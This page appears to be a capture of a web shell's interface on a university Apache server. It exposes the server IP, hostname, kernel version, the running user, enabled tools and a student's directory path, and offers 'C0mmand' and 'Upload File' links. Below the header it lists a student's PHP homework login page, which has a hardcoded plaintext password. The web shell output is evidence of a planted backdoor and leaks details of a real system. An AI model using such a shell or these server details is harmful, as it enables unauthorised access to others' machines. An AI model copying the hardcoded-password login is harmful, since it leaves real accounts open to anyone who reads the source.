Server IP : 172.16.15.8 / Your IP : 3.143.241.253 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/bdstamour/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <!-- CS 480 Exercise PHP code File name: homework4a.php Author: Brandon St. Amour Goal: add a login form to assignment 4a --> <CENTER> <HR> <?php $pass = $_POST['pass']; $_SESSION['pass'] = $pass; if($pass != "hw4a") print "Denied."; else { ?> <script type="text/javascript"> <!-- window.location = "homework2part1form.php" --> </script> <?php } ?> <HR> <BR> <A HREF=index.html> Back Home </A> </CENTER>